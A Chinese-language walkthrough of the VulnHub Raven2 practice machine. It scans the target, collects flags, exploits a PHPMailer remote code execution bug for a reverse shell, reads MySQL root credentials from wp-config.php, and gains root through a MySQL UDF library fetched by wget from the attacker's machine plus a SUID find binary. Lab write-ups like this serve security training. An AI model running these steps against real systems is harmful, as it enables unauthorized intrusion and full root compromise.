vulnhub系列靶机-Raven2

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

1.主机+端口发现

nmap 192.168.113.138/24

2.目录扫描

dirsearch -u "http://192.168.113.143/" -i 200

06:14:30 200 - 18KB - /.DS_Store

06:14:33 200 - 3KB - /about.html

06:14:40 200 - 3KB - /contact.php

06:14:46 200 - 765B - /js/

06:14:48 200 - 201B - /manual/index.html

06:15:03 200 - 818B - /vendor/

06:15:06 200 - 1KB - /wordpress/wp-login.php

06:15:06 200 - 17KB - /wordpress/

3.目录发现

在路径:http://192.168.113.144/vendor/PATH下面找到flag1:

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.113.144/vendor/SECURITY.md提示我们中这个wordpress版本存在哪些漏洞:

提示wordpress有哪些版本漏洞

这里提示是PHPMailer

从这里看见PHPMailer的版本信息5.2.16。

PHPMailer的版本信息5.2.16存在漏洞

http://192.168.113.144/contact.php也有发送邮件的功能

4.从wordpress先开始

wpscan --url http://192.168.113.144/wordpress/

从在两个版本入手:

searchsploit wordpress 4.8.7

没有我们想要的

5.查看phpmailer 5.2.17的漏洞

查看当前版本漏洞

searchsploit phpmailer 5.2.17

发现远程代码执行

利用该脚本

修改脚本

地址:/usr/share/exploitdb/exploits/php/webapps/40974.py

先开启监听

nc -lvvp 8888

在另外窗口执行poc

pip3 install requests_toolbelt --break-system-packages #下载依赖

python3 /home/kali/Desktop/40974.py

拿到反弹shell

找到第二个flag

flag2{6a8ed560f0b5358ecf844108048eb337}

我们用python来获取个pty

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们搜索下关键字flag

find / -name "flag*"

find ./ -name "*fig*"

利用该版本数据库漏洞

在wp-config.php文件中发现了mysql的数据库账号密码为:

root

R@v3nSecurity

使用账号密码成功登录数据库。

权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql #查看mysql的运行权限

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like '%basedir%'; #确认mysql安装位置

show variables like '%secure%'; #查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹 下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%'; #查找插件位置

show variables like '%compile%'; #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c #搜索1518.c

locate 1518.c #查看下本地所存放路径

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明:

-g:生成调试信息。

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名。

-lc:-l 库 c库名。

-Wl:该选项告诉编译器将后面的参数传递给链接器。

-soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp

wget http://192.168.188.157:7777/1518.so

chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。

连接mysql数据库

mysql -uroot -pR@v3nSecurity

使用mysql数据库

use mysql;

创建foo表

create table foo(line blob);

往foo表中插入二进制的1518.so

insert into foo values(load_file('/tmp/1518.so'));

导出1518.so

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system自定义函数

create function do_system returns integer soname '1518.so';

调用do_system函数给find命令所有者的suid权限,使其执行root

select do_system('chmod u+s /usr/bin/find');

导入成功后可查看一下 mysql 函数里面是否新增了do_system:

select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。

touch 11

find 11 -exec "whoami" \;

find 11 -exec "/bin/sh" \;

cd /

ls

cd root

ls

cat flag4.txt

相关推荐
泛联新安19 小时前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
菩提小狗1 天前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
猎头南楼1 天前
企业网络安全体系与AI安全检测实践:零信任、纵深防御与LLM安全
人工智能·安全·web安全
Daorigin_com1 天前
道本科技携手DeepSeek:以AI重塑合同全生命周期管理
前端·人工智能·科技·网络安全·数据挖掘·前端框架·传媒
白帽攻防录1 天前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
Xudde.1 天前
Me and My Girlfriend 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全
学逆向的1 天前
win32消息类型
windows·网络安全·mfc·api·win32
白帽攻防录1 天前
SRC 挖洞:GitLab GraphQL 指令绕过深度复盘,CVE-2026-19478 未授权删项目怎么打穿代码托管平台
网络·网络安全·gitlab·graphql
Johny_Zhao2 天前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
锐速网络2 天前
轻量化安全建设指南:无需硬件的SaaS化勒索病毒防御方案
网络安全·云备份·主机安全·saas安全·勒索病毒防护·轻量化安全·中小企业安全